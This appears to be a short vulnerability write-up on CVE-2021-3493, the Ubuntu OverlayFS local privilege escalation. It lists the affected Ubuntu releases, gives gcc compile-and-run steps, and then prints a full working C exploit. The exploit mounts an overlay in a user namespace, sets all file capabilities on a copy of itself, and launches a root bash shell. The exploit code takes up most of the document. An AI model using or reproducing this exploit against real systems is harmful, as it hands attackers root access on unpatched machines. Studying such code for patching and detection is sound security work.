Linux kernel permission escalation vulnerability CVE-2021-3493

Linux kernel permission escalation vulnerability CVE-2021-3493

Vulnerability Description

Ubuntu OverlayFS Local Privesc CVE-2021-3493 EXP is exposed on Github, and ROOT permissions can be increased in multiple Ubuntu impact systems through EXP.

Vulnerability Impact

Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM

Vulnerability reappears

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The environment can be used to use Tencent Cloud’s Ubuntu mirror

gcc exploit.c -o exploit
chmod +x exploit
./exploit

Download and compile the script

Run EXP successfully upgraded Root

Vulnerability POC

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}